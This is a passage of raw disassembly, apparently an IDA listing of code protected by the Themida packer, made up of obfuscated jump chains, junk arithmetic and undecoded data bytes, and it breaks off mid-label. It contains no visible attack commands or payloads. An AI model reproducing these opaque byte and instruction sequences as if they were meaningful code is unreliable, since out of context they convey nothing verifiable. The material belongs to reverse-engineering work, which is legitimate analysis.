--------------------------------------------------------------------------- loc_544FA6: ; CODE XREF: Themida_:00544E09j mov [esp], ecx mov ecx, 178379F2h neg ecx xor ecx, 73EC021Eh push edi mov edi, 9B908414h xor ecx, edi jmp loc_555028 ; --------------------------------------------------------------------------- db 81h dd 0F2F406EDh, 5DE9013Ah, 3547C681h, 0CE012984h, 3547EE81h dd 50592984h, 0A8DBA52h, 0E2817429h, 5E7B3730h, 6C1CA81h dd 0EAC128F4h, 1FF28106h, 8901F3F4h, 431AE9D0h, 0E9510000h dd 0FFFFDDF0h, 6824048Bh, 6D3Ch, 54243C89h, 0F700E9h, 48B6600h dd 20685724h, 89000043h, 4812424h, 424h, 1D685F00h, 89000063h dd 0A3E9240Ch, 8B00005Ch, 0C481241Ch, 4, 4C781h, 0E9570000h dd 0FFFFF238h, 89243489h, 0E68956E6h, 8904EC83h, 69E92414h dd 810000C9h, 4ECh, 243C8900h, 5F97E9h db 0 ; --------------------------------------------------------------------------- loc_54506D: ; CODE XREF: Themida_:00543A60j pop esi jmp loc_553738 ; --------------------------------------------------------------------------- db 5Ah dd 827A8A05h, 58C12975h, 4A59CA89h, 63E9DAF7h db 9, 1, 0 ; --------------------------------------------------------------------------- loc_545087: ; CODE XREF: Themida_:0054F5AAj add esp, 4 jmp loc_54733F ; --------------------------------------------------------------------------- dw 3C87h dd 1C895C24h, 4BB24h, 3E90000h, 5400001Fh, 4C7815Fh, 83000000h dd 3C8704C7h, 0C3005C24h, 52EBC380h, 0CA80BFB2h, 80DAF663h dd 0B151F5EAh, 9AF180A2h, 8059CA28h, 0D328E3EAh, 2023E95Ah dd 0C3000001h, 5124048Bh, 5BE2E954h, 59680000h, 5D13C20Dh dd 3B61C581h, 0EF895963h, 0E8E9505Dh db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5450F7: ; CODE XREF: Themida_:005500ECj pop ebx sub esp, 4 mov [esp], eax push ebx mov ebx, 4 jmp loc_552550 ; --------------------------------------------------------------------------- db 0B2h, 6, 80h dd 0DAF64AF2h, 80B2F280h, 0D528CEF2h, 59E8005Ah, 0FFDF93E9h dd 405FFh, 42D0000h, 0E9000000h, 5F87h ; --------------------------------------------------------------------------- loc_545130: ; CODE XREF: Themida_:0055337Dj add ecx, 4 jmp loc_5553BE ; --------------------------------------------------------------------------- loc_545138: ; CODE XREF: Themida_:0054BE26j add ecx, 3A6A7B7Bh jmp loc_543B91 ; --------------------------------------------------------------------------- db 0B9h dd 661C641Bh, 4907E1C1h, 0F285C181h, 0CE01F1CDh, 24348759h dd 2224E95Ch, 0E9890001h, 24348B5Dh, 0D104C483h, 0E98341E9h dd 28C18101h, 315BE6ECh, 454559CDh, 52ADE953h, 0C1010000h dd 2CC46858h, 14890000h, 10BF5724h, 814F3155h, 732EA7F7h dd 5FFA8941h, 0BE56h, 0DBE90000h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5451A3: ; CODE XREF: Themida_:005485CAj pop edx push 7DE5h mov [esp], edx sub esp, 4 mov [esp], ebp mov ebp, 78FE689Bh dec ebp not ebp sub ebp, 5FC6048Ah jmp loc_55438E ; --------------------------------------------------------------------------- dd 70D2BB53h, 0D901201Ch, 0BBBEE9h db 0 ; --------------------------------------------------------------------------- loc_5451D5: ; CODE XREF: Themida_:00550BB9j shl edx, 8 sub edx, 0A684B8AEh mov edi, edx pop edx push edx mov edx, 7C6430A4h mov ebp, edx mov edx, [esp] jmp loc_556517 ; --------------------------------------------------------------------------- db 0BEh, 95h, 66h dd 52E936FDh, 0FF00011Eh, 5F042474h, 8B24048Fh, 0F1F72424h dd 2D1268h, 241C8900h, 5DCBE952h, 0E1810000h, 15D122CCh dd 0A82CF181h, 0CD01D99Ch, 0DE64E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54522A: ; CODE XREF: Themida_:0055759Bj sub ebp, ebx jmp loc_55456F ; --------------------------------------------------------------------------- db 81h, 0EDh, 0BDh dd 814D9E55h, 2F0504C5h, 37C58143h, 5849210Dh, 546568h dd 241C8900h, 4EC81h, 34890000h, 5DC6E924h, 74FF0000h dd 8F5F0424h, 248B2404h, 4EC8124h, 89000000h, 88BD242Ch dd 0E937ED2Dh, 0C48Ah, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 0CD89242Ch, 3CE9EA89h, 66FFFFF5h, 8124048Bh dd 4ECh, 241C8900h, 0B068E389h, 8900007Eh, 2868243Ch, 0E97AC022h dd 0FFFFED7Ah, 3442BA52h, 0C2814490h, 0AB1FABBAh, 258E9h dd 81E18900h, 4C1h, 4C18300h, 2474FF51h, 0A39FE904h, 0BA520000h dd 0FB25594h, 5D96E9h, 2EC8300h, 240C8966h, 100DE9h db 0 ; --------------------------------------------------------------------------- loc_5452F5: ; CODE XREF: Themida_:00553B99j add ecx, ebp sub ecx, 3E191930h sub ecx, 73C902C6h mov ebp, [esp] add esp, 4 jmp loc_553403 ; --------------------------------------------------------------------------- aSn db '^én%',0 dw 500h dd 4, 0E904E883h, 0A7D6h ; --------------------------------------------------------------------------- loc_545324: ; CODE XREF: Themida_:0054A236j sub eax, 2E310F42h jmp loc_553802 ; --------------------------------------------------------------------------- loc_54532E: ; CODE XREF: Themida_:005564CBj push ebx mov ebx, 28A70739h shr ebx, 7 shr ebx, 8 sub ebx, 0AA75E5E5h sub esi, ebx pop ebx pop ebp add esi, 4 xchg esi, [esp] pop esp loc_54534E: ; DATA XREF: ___:off_43664Co jmp loc_54775A ; --------------------------------------------------------------------------- db 89h dd 9C2D59CFh, 139A338h, 389C05F8h, 34FF39A3h, 243C8B24h dd 8104C483h, 4C4h, 0DBE3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545376: ; CODE XREF: Themida_:00555888j pop ecx add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx jmp loc_54984A ; --------------------------------------------------------------------------- loc_545385: ; CODE XREF: Themida_:00546F2Fj mov esi, [esp] add esp, 4 push 4A55h jmp loc_55659D ; --------------------------------------------------------------------------- dd 4C4835Dh, 645DE9h, 240C3300h, 6824248Bh, 4941h, 52240C89h dd 0D8BE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5453B6: ; CODE XREF: Themida_:0054C3F2j pop eax jmp loc_5464D1 ; --------------------------------------------------------------------------- aYsst db 'Yésâ',0 align 2 dw 0C783h dd 0C4C781FFh, 1EEDFEFh, 243C8BFBh, 4C481h, 0B8500000h dd 2, 0E958C301h, 6882h, 33243431h, 34312434h, 0D93E924h dd 0C7810000h, 1D47FBBh, 73BFE781h, 0EF812B85h, 87651AD5h dd 0FFDCE3E9h db 0FFh ; --------------------------------------------------------------------------- loc_545409: ; CODE XREF: Themida_:00546424j mov esi, ebp pop ebp add ebx, 666F6890h sub ebx, esi jmp loc_55487C ; --------------------------------------------------------------------------- db 50h, 0B8h, 0F2h dd 0F7530337h, 2E0C1D0h, 27609F2Dh, 0BF932D14h, 0C7019FCBh dd 243C8758h, 513CE9h db 0 ; --------------------------------------------------------------------------- loc_545439: ; CODE XREF: Themida_:00554802j popf retn ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFD2CCh ; --------------------------------------------------------------------------- loc_545440: ; CODE XREF: Themida_:005530DAj mov ebx, 746453A5h push 492Fh mov [esp], ebx mov ebx, 41F24C2Ch shr ebx, 2 and ebx, 388B53CDh add ebx, 23520101h sub esi, ebx pop ebx jmp loc_542E37 ; --------------------------------------------------------------------------- loc_545469: ; CODE XREF: Themida_:00555D54j pop ebx inc esi push 74E1h mov [esp], eax mov eax, 3D6A37B8h dec eax dec eax jmp loc_543402 ; --------------------------------------------------------------------------- loc_54547F: ; CODE XREF: Themida_:005566E4j push eax jmp loc_549444 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 81h dd 2B0362EEh, 0B6B9515Fh, 0E90B2259h, 0AA4Ch, 6CF3E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54549E: ; CODE XREF: Themida_:0054E227j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] div cx push small 101Bh mov [esp], dx push ax pushf jmp loc_54270C ; --------------------------------------------------------------------------- dw 6843h align 10h dd 0E9241C29h, 0FFFFE63Bh, 0C681E689h, 4, 11755E9h db 0 ; --------------------------------------------------------------------------- loc_5454E5: ; CODE XREF: Themida_:00552DCBj push edi mov edi, 7B5458DEh mov ebx, edi pop edi jmp loc_54CFCC ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 jmp loc_54D0DB ; --------------------------------------------------------------------------- loc_545510: ; CODE XREF: Themida_:00553684j pop edi jmp loc_547EB9 ; --------------------------------------------------------------------------- dw 0D001h dd 4E8835Ah, 1C8FE9h, 88C68100h, 0E92D9601h, 0B189h, 5A45EF81h dd 0A0E91CFFh db 0D3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545537: ; CODE XREF: Themida_:005449DFj sub esp, 4 mov [esp], edx push esp pop edx jmp loc_54ED6E ; --------------------------------------------------------------------------- loc_545547: ; CODE XREF: Themida_:005560DBj sub cx, 5CC8h jmp loc_54DD13 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 81h dd 7878A9E3h, 92C38146h, 895D6607h, 241C8BDFh, 5E08950h dd 4, 8704C083h, 15C2404h, 0A461E9FEh, 0E1BD0000h, 0C171E779h dd 0FBE904E5h, 8100006Ah, 85BBBCE9h, 96B5E929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545592: ; CODE XREF: Themida_:00544893j xor bh, 0BFh xor bh, 81h jmp loc_55763A ; --------------------------------------------------------------------------- loc_54559D: ; CODE XREF: Themida_:005536B5j pop esp push 3127h mov [esp], edi push 800h pop edi and eax, edi jmp loc_553205 ; --------------------------------------------------------------------------- db 89h dd 405E0h, 0C0830000h, 24048704h, 3124248Bh, 0EC815EF0h dd 4, 53240C89h, 0CA2C27BBh, 7F21B946h, 0D929C482h, 0B9AFE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5455E2: ; CODE XREF: Themida_:0055181Cj xchg ebx, [esp] mov esp, [esp] mov [esp], ebx push esp jmp loc_5505EB ; --------------------------------------------------------------------------- aS_5 db '±Íé{Ù',0 align 4 dd 5A661B2Ch, 1424E9h db 0 ; --------------------------------------------------------------------------- loc_545601: ; CODE XREF: Themida_:0054DDEFj add edi, ebp sub edi, 6E29714Ch pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 push edi push 3D68h mov [esp], eax push esp push dword ptr [esp] pop eax jmp loc_547122 ; --------------------------------------------------------------------------- db 55h, 0BDh, 8Bh dd 68699539h, 18CCh, 52243C89h, 0D789EA89h, 8124148Bh dd 4C4h, 5F5A5700h, 5AD5015Dh, 11A08E9h db 0 ; --------------------------------------------------------------------------- loc_545659: ; CODE XREF: Themida_:00549C95j add ebx, 570E03A6h push ebx jmp loc_5548D4 ; --------------------------------------------------------------------------- db 1, 0FDh, 0E9h dd 0DB89h, 4C481h, 0CE810000h, 35557C49h, 6072BF57h, 0EF8114BDh dd 0FA3C93Fh, 895FFE01h, 24348BF7h, 0FFD257E9h db 0FFh ; --------------------------------------------------------------------------- loc_545691: ; CODE XREF: Themida_:0054E4A9j pop esi push edx mov edx, 159E09F9h jmp loc_54643B ; --------------------------------------------------------------------------- db 81h, 0EBh, 78h dd 81F6DA25h, 0F864CDC5h, 0EEFCE94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5456AE: ; CODE XREF: Themida_:00546FD9j sub edx, 4 xchg edx, [esp] pop esp jmp loc_547047 ; --------------------------------------------------------------------------- dw 27B3h dd 0C01DEB80h, 0D3F605E3h, 0D3F6C3FEh, 0E92CB252h, 4EC5h ; --------------------------------------------------------------------------- loc_5456D0: ; CODE XREF: Themida_:0054D596j pop eax add esp, 4 push 2256h jmp loc_553372 ; --------------------------------------------------------------------------- loc_5456DE: ; CODE XREF: Themida_:0054AEAAj mov eax, esi pop esi jmp loc_54EB53 ; --------------------------------------------------------------------------- dw 8142h dd 725F1CEAh, 5AD3013Fh, 446BE9h, 3C77FF00h, 31B1B850h dd 448138B7h, 59F80424h, 44810B34h, 79700424h, 44296A1Eh dd 6C810424h, 79700424h, 0B9516A1Eh, 0B3459F8h, 8244C29h dd 53585859h, 0A96353BBh, 0FDE38119h, 0E9003203h, 0BBBCh dd 0CAE9D9F7h, 2D00006Dh, 8307AFDh, 11B7E9h, 89F58100h dd 0E90E2C3Dh, 11493h, 62CB68h, 242C8900h, 0BF575D54h dd 4, 1D49BF57h, 0CF81286Ah, 76BC21DCh, 9AC78147h, 472A6602h dd 0E3F78147h, 0E9CAFA53h, 7689h, 8704C483h, 0ABE9240Ch dd 54000111h, 0E924048Fh, 0F171h, 5024348Bh, 0D5E9E089h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_5457A3: ; CODE XREF: Themida_:00556A82j mov [esp], ebp mov ebp, esp jmp loc_548AE5 ; --------------------------------------------------------------------------- loc_5457AD: ; CODE XREF: Themida_:0054C484j mov [esp], edx push 379h push 3F3Dh jmp loc_54BCEA ; --------------------------------------------------------------------------- db 80h dd 0D128A5F2h, 77E9805Ah, 0C180F900h, 9EB1E977h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5457D2: ; CODE XREF: Themida_:005568A6j push esp pop edi add edi, 4 push 20Ch mov [esp], ebp push esi mov esi, 1F8A2BECh not esi xor esi, 2F0260DDh jmp loc_54A21C ; --------------------------------------------------------------------------- db 29h, 0E8h, 2Dh dd 5BC2F9Ch, 4B8D685Dh, 2C890000h, 25DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54580A: ; CODE XREF: Themida_:00556ACEj mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_5529A9 ; --------------------------------------------------------------------------- loc_54581B: ; CODE XREF: Themida_:00556F9Dj pop eax add ecx, 0D07B7441h mov ebx, ecx pop ecx shl ebx, 7 sub esp, 4 mov [esp], ebp mov ebp, 0C723970h jmp loc_544B56 ; --------------------------------------------------------------------------- db 0BDh dd 107A5C15h, 0D041E9h, 0FAEF8100h, 0E9318A58h, 0B994h dd 2C9DF281h, 91E949A0h, 50000ABh, 5C6C1607h, 5F2434FFh dd 0E9E38953h, 0BAD8h, 2424D35Ch, 0CE96E99Ch, 8B66FFFFh dd 0EC832404h, 0F7CAE904h, 0C383FFFFh, 48F38101h, 53544B13h dd 5B2414F7h, 0E9FEBF57h, 0FB318E1Dh, 0C87E9h db 0 ; --------------------------------------------------------------------------- loc_54589D: ; CODE XREF: Themida_:00554897j mov ebx, esp add ebx, 4 jmp loc_54D98F ; --------------------------------------------------------------------------- loc_5458AA: ; CODE XREF: Themida_:005550ADj push edx mov edx, 23B174B6h sub edx, 5C63325Eh sub edx, 0C74E4254h jmp loc_5567CD ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0EC815224h, 4, 81242489h, 42404h, 815A0000h, 4C2h, 4EA8100h dd 52000000h, 42474FFh, 8124148Bh, 4C4h, 24048F00h, 0BC5DE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5458FA: ; CODE XREF: Themida_:0054F15Aj mov [esp], edx push small 1C44h pop dx jmp loc_5559A6 ; --------------------------------------------------------------------------- loc_545908: ; CODE XREF: Themida_:00546D7Fj pop edx jmp loc_54F99A ; --------------------------------------------------------------------------- dw 6856h dd 58030B89h, 0B2EB815Eh, 2958F04Dh, 0B2C381F3h, 0FF58F04Dh dd 348B2434h, 616F6824h, 3C890000h, 2008E924h, 0C0090000h dd 907A840Fh, 4B680000h, 0E9000053h, 4DAEh, 0E5C2815Eh dd 0E9323A24h, 108BCh, 2BFFEF81h, 0DF013635h, 2BFFC781h dd 0FD5B3635h, 0A6850h, 0E2E90000h, 5E0000E6h, 6B04BF57h dd 0FB01729Bh, 0CEF3815Fh, 579DA95h, 1CD4059Bh, 9B2DD801h dd 0E91CD405h, 2316h, 4EC81h, 4890000h, 0E9B5B424h, 0FFFFD15Ah ; --------------------------------------------------------------------------- loc_5459A0: ; CODE XREF: Themida_:0055676Dj add ecx, esi jmp loc_54C4D3 ; --------------------------------------------------------------------------- aWIyrphbAvxQZus db 'W¿',0Dh,7,'ëYRPh',0Ah db '€vX%ï(ZUé›X',0 dw 5900h dd 0B6EC781h, 0EF0105B7h, 0B6EEF81h, 2C8B05B7h, 0E6895624h dd 4C681h, 0B6E90000h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5459DF: ; CODE XREF: Themida_:005495E5j xor ebp, 2C6F27A9h push edi jmp loc_54A45D ; --------------------------------------------------------------------------- db 8Bh dd 3CE92404h, 5700000Bh, 21266BFh, 55DFF736h, 0D5DBE956h dd 0CDFE0000h, 0FE05E5C0h, 0B05066CDh, 66C53089h, 59EA3058h dd 88D4F280h, 24148BD4h, 4C481h, 0B2520000h, 5B3CE9FCh dd 248B0000h, 24040024h, 0D124E99Ch, 0C481FFFFh, 4, 635BC381h dd 73E9481Fh db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545A47: ; CODE XREF: Themida_:0055495Cj push edx mov edx, 4 sub edi, edx pop edx jmp loc_54F8EB ; --------------------------------------------------------------------------- loc_545A55: ; CODE XREF: Themida_:0054B3C5j xchg esi, [esp] pop esp jmp loc_550D7E ; --------------------------------------------------------------------------- loc_545A5E: ; CODE XREF: Themida_:005485DDj mov cx, [esp] jmp loc_54B3F6 ; --------------------------------------------------------------------------- db 51h dd 4C21B468h, 0D1F75978h, 0FB11E949h, 91E9FFFFh, 52FFFFCCh dd 6C24E957h, 0E8880000h, 0DA83E9h, 81DBF700h, 273988E3h dd 0ABF3813Dh, 3145A108h, 0C5895BD8h, 7C51E9h db 0 ; --------------------------------------------------------------------------- loc_545AA1: ; CODE XREF: Themida_:00555FEEj add ebp, eax pop eax add ebx, ebp pop ebp mov ecx, [esp] add esp, 4 jmp loc_54B458 ; --------------------------------------------------------------------------- loc_545AB5: ; CODE XREF: Themida_:00549FE7j add esp, 4 jmp loc_54F848 ; --------------------------------------------------------------------------- loc_545ABD: ; CODE XREF: Themida_:00549A96j push 6B49h jmp loc_54BBCF ; --------------------------------------------------------------------------- loc_545AC7: ; CODE XREF: Themida_:005442D7j sub esp, 4 jmp loc_543156 ; --------------------------------------------------------------------------- dw 2859h dd 5BCE04D8h, 4EC8151h, 89000000h, 0C3B42404h, 0E9E58851h dd 2CAFh ; --------------------------------------------------------------------------- loc_545AEC: ; CODE XREF: Themida_:00542F60j neg eax shr eax, 2 or eax, 6EAE42E4h push ebp mov ebp, 66B4246Ch add ebp, 0C275E6E8h xor eax, ebp jmp loc_54D4C0 ; --------------------------------------------------------------------------- loc_545B09: ; CODE XREF: Themida_:005473FDj sub bh, cl add bh, 0DDh pop cx sub bh, 42h mov al, bh pop ebx mov cl, 2Fh jmp loc_54C4C3 ; --------------------------------------------------------------------------- db 0BEh, 0BCh, 57h dd 0F7563EA5h, 815E2414h, 0D4EE2EEh, 8BF52914h, 0C4832434h dd 4F685304h, 5B725E00h, 2D5BD829h, 338B614Bh, 4B05E829h dd 52338B61h, 7F0461BAh, 51EAD17Eh, 0B9h, 87D12900h, 14BCE9CAh db 1, 0 ; --------------------------------------------------------------------------- loc_545B62: ; CODE XREF: Themida_:005550E2j add edi, 4 sub edi, 4 jmp loc_54B360 ; --------------------------------------------------------------------------- db 83h dd 97E904C7h, 810000BAh, 4C4h, 52336800h, 2C890000h, 4BD24h dd 68520000h, 2EFF4B64h, 1CAFE95Ah, 0EC810001h, 4, 89243489h dd 0BB5356C6h, 190A49BCh, 77CEB951h, 4C017C7Fh, 1590824h dd 8104245Ch, 4ECh, 5BEE900h db 1, 0 ; --------------------------------------------------------------------------- loc_545BC6: ; CODE XREF: Themida_:00556FC5j pop eax sub eax, esi jmp loc_543E59 ; --------------------------------------------------------------------------- dw 0F281h dd 174B199Eh, 0E9D78957h, 2972h ; --------------------------------------------------------------------------- loc_545BDC: ; CODE XREF: Themida_:00548BBFj and ebp, ecx pop ecx jmp loc_54E606 ; --------------------------------------------------------------------------- dd 152568h, 241C8900h, 0A7D8E951h, 0FA010000h, 81243C8Bh dd 4C4h, 36BBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545C02: ; CODE XREF: Themida_:00549908j add esp, 4 push 17FEh mov [esp], ebx jmp loc_5525B2 ; --------------------------------------------------------------------------- db 31h, 0F3h, 31h dd 5EF331DEh, 0FFCFBEE9h, 5DE989FFh, 505AC681h, 8CE9016Eh dd 0F7FFFFF0h, 7E5C1DDh, 0ADC2F581h, 0C6B8B692h, 31006D2Dh dd 0BEE95DE8h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545C47: ; CODE XREF: Themida_:0054EF3Dj add [esp], eax add dword ptr [esp], 1EBD0DFAh add dword ptr [esp], 0AE37929h sub dword ptr [esp], 50C9252Ah jmp loc_5432B3 ; --------------------------------------------------------------------------- loc_545C64: ; CODE XREF: Themida_:0054E4F9j mov eax, 19BC5A25h sub eax, 6BD9149Bh xor eax, 53877674h xor eax, 8E88578Fh sub edi, eax pop eax sub edi, 0AEB1C423h sub edx, 14EF4C9Ah add edx, edi add edx, 14EF4C9Ah pop edi xor edx, [esp] xor [esp], edx jmp loc_553535 ; --------------------------------------------------------------------------- loc_545C9B: ; CODE XREF: Themida_:0054CCE2j pop ebx jmp loc_54345A ; --------------------------------------------------------------------------- aUph db 'UPh#',0 dw 156Ch dd 5AC70D58h, 4AE91137h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545CB3: ; CODE XREF: Themida_:00554394j and ebp, 39ED7139h push 1FBEh jmp loc_555FF3 ; --------------------------------------------------------------------------- db 0BBh dd 5D6A4AD9h, 0BB5BD889h, 0F64AFEB4h, 0AE9C301h db 9, 1, 0 ; --------------------------------------------------------------------------- loc_545CD7: ; CODE XREF: Themida_:00544F7Bj push dword ptr [esp] jmp loc_551D1F ; --------------------------------------------------------------------------- db 87h dd 0FFC683DEh, 0BA0EE9h db 0 ; --------------------------------------------------------------------------- loc_545CE9: ; CODE XREF: Themida_:0055324Fj mov edx, 57EB02F5h jmp loc_5523C4 ; --------------------------------------------------------------------------- loc_545CF3: ; CODE XREF: Themida_:0054BC52j push esi push 1080h mov [esp], eax push 2266103Eh mov eax, [esp] add esp, 4 neg eax not eax jmp loc_542718 ; --------------------------------------------------------------------------- db 29h dd 1A75E9FEh, 50660001h, 0E10091B4h, 0CE885866h, 6CB4E959h dd 248B0000h, 24042924h, 0C9D6E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545D36: ; CODE XREF: Themida_:0054F8E6j add esp, 4 pop ebp and ecx, eax mov eax, [esp] push edx jmp loc_5522F7 ; --------------------------------------------------------------------------- db 81h, 0E3h, 1Ah dd 810E0147h, 0FFBBF4C3h, 5BD801FDh, 0FFDCEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_545D59: ; CODE XREF: Themida_:00546492j xchg esi, [esp] pop esp push eax jmp loc_54CBF0 ; --------------------------------------------------------------------------- loc_545D63: ; CODE XREF: Themida_:005535CDj mov ecx, eax mov eax, [esp] add esp, 4 jmp loc_54E068 ; --------------------------------------------------------------------------- loc_545D70: ; CODE XREF: Themida_:005470EDj and eax, ecx mov ecx, [esp] push esi push esp push dword ptr [esp] pop esi jmp loc_5530BD ; --------------------------------------------------------------------------- dd 5F132D58h, 34FF0244h, 30DE924h, 0C2810000h, 4, 4EC8356h dd 0BB241C89h, 58615A24h, 45E68h, 242C8900h, 0EE89DD89h dd 0C6815B5Dh, 0A79EA5E0h, 18C6EA81h, 0F2011294h, 18C6C281h dd 875E1294h, 3BE92414h, 8F000089h, 248B2404h, 2E0E6824h dd 3C890000h, 515F5424h, 482C9BB9h, 9FF18107h, 8107482Ch dd 313C8BEFh, 81CF0145h, 313C8BC7h, 4ADBE945h, 1C890000h dd 7E95424h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545E03: ; CODE XREF: Themida_:00543B6Fj push ecx mov ecx, 1B7595Ch add ecx, 0FE48A6A3h jmp loc_5574B8 ; --------------------------------------------------------------------------- dd 0FB1CE95Ch, 489FFFFh, 5E08924h, 4, 405h, 3655E900h dd 0C7810000h, 444D54CCh, 0AA77E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545E3A: ; CODE XREF: Themida_:0054F7EAj mov esi, [esp] jmp loc_549166 ; --------------------------------------------------------------------------- dw 487h aST db '$é',8,'t',0 align 2 dw 34FFh dd 240C8B24h, 10C64E9h, 1FF78100h, 2D273722h, 48EE5B73h dd 3B1D0805h, 2DF82931h, 313B1D08h, 0EE5B7305h, 0BF575F48h dd 1D32970h, 4EC81h, 1C890000h, 9EF0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545E86: ; CODE XREF: Themida_:005553B1j pop esp jmp loc_55541B ; --------------------------------------------------------------------------- dd 781227BBh, 0A1F38161h, 534F2943h, 5B2414F7h, 616EBD55h dd 0ED810699h, 1A7D77FEh, 0ED53E9h, 74FF5300h, 1C8B0424h dd 4C48324h, 8B24048Fh, 0E9F72424h, 591068h, 24148900h dd 0E8E99C50h, 21000047h, 0E3C15DEBh, 71EB8104h, 31FF608Dh dd 0F504E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545EE2: ; CODE XREF: Themida_:00555566j sub ecx, edx jmp loc_547231 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 4A60BDBBh, 2EBC16Dh, 1D1CF381h, 0D3F70A39h, 734FBF57h dd 47477B97h, 0F67F781h, 0FB01035Dh, 0FED1E9h, 0B8505600h dd 71472B14h, 0F708E0C1h, 0C1D0F7D0h, 0BA0502E0h, 89F543C3h dd 69E958C6h, 530000B7h, 0FD60D4BBh, 0E9EBD132h, 0FFFFFFD5h dd 24048F54h, 8904EC83h, 0BF57242Ch, 4, 815FFD89h, 88042444h dd 11EA368h, 5704246Ch, 0A36888BFh, 247C291Eh, 34FF5F08h dd 9DD5E924h, 0F2290000h, 0CCC8E9h db 0 ; --------------------------------------------------------------------------- loc_545F75: ; CODE XREF: Themida_:00557081j add ecx, 4 xchg ecx, [esp] pop esp mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 2D78h jmp loc_55506C ; --------------------------------------------------------------------------- dw 8B54h dd 0C483243Ch, 37886804h, 0AEE90000h, 89000020h, 94BB241Ch dd 293C0E5Eh, 48B5BD9h, 42886824h, 0C890000h, 9973E924h dd 8B660000h, 65E92404h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545FCF: ; CODE XREF: Themida_:00546046j sub di, ax jmp loc_5560CA ; --------------------------------------------------------------------------- db 86h dd 0E9D134D8h, 1906h ; --------------------------------------------------------------------------- loc_545FE0: ; CODE XREF: Themida_:00547FE6j push ebp pop ebx mov ebp, [esp] add esp, 4 and eax, ebx push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or edx, eax shl edx, 1 push ebx push ebp push eax mov eax, 2E9E6722h neg eax shr eax, 2 sub eax, 638074A8h neg eax sub esp, 4 mov [esp], ebx mov ebx, 5886731h and ebx, 71E24CA3h jmp loc_5441D9 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 3E44E9h db 0 ; --------------------------------------------------------------------------- loc_54603D: ; CODE XREF: Themida_:00550499j neg di push ax mov ax, 55CDh jmp loc_545FCF ; --------------------------------------------------------------------------- loc_54604B: ; CODE XREF: Themida_:00550DBCj xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebx push edx jmp loc_54E79C ; --------------------------------------------------------------------------- db 5Fh, 83h, 0C1h dd 17696802h, 0C890000h, 2474FF24h, 2434FF04h, 81240C8Bh dd 4C4h, 0EC835700h, 24248904h, 0DBE95653h, 54000087h dd 10B8505Eh, 0F71C5E45h, 0BAEC2DD8h, 55E9E3A1h, 5E0000E5h dd 104C483h, 6312E9C3h, 0E95B0000h, 6908h, 8BA6E95Ch, 0CC680000h dd 8900001Dh, 82B82404h, 0F709737Fh, 0FC9EE9D0h, 0E8890000h dd 8BC2015Dh, 0C4832404h, 14875F04h, 24248B24h, 81E78957h dd 4C7h, 95E95000h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5460E7: ; CODE XREF: Themida_:00551EF0j sub esi, ebp pop ebp sub ebp, esi mov esi, [esp] add esp, 4 dec ebp push 2DE9h mov [esp], eax jmp loc_550628 ; --------------------------------------------------------------------------- db 1 dd 0FF555FFDh, 5D042474h, 5C24048Fh, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 89240C89h, 4C181E1h, 50000000h, 4055854h dd 2D000000h, 4, 5C240487h, 53F0E9h, 0C2815A00h, 4, 463468h dd 24348900h, 4BEh, 5EF22900h, 31241433h, 14332414h, 24248B24h dd 53240489h, 8852D388h, 0FFD488DAh, 0E95A2434h, 0FFFFD5F9h dd 4BD55h, 0E8010000h, 9675E9h, 0C582E900h, 0BBBDFFFFh dd 45348559h, 891AE9h db 0 ; --------------------------------------------------------------------------- loc_546195: ; CODE XREF: Themida_:0054F164j add ebp, 0BC74E0Eh jmp loc_5559FA ; --------------------------------------------------------------------------- loc_5461A0: ; CODE XREF: Themida_:00555807j push 0 pop edx sub edx, 11C93D16h add edx, ecx add edx, 11C93D16h add [edx], ebx jmp loc_549E31 ; --------------------------------------------------------------------------- db 81h dd 0FE8A55F2h, 0E9D1316Dh, 73D3h ; --------------------------------------------------------------------------- loc_5461C8: ; CODE 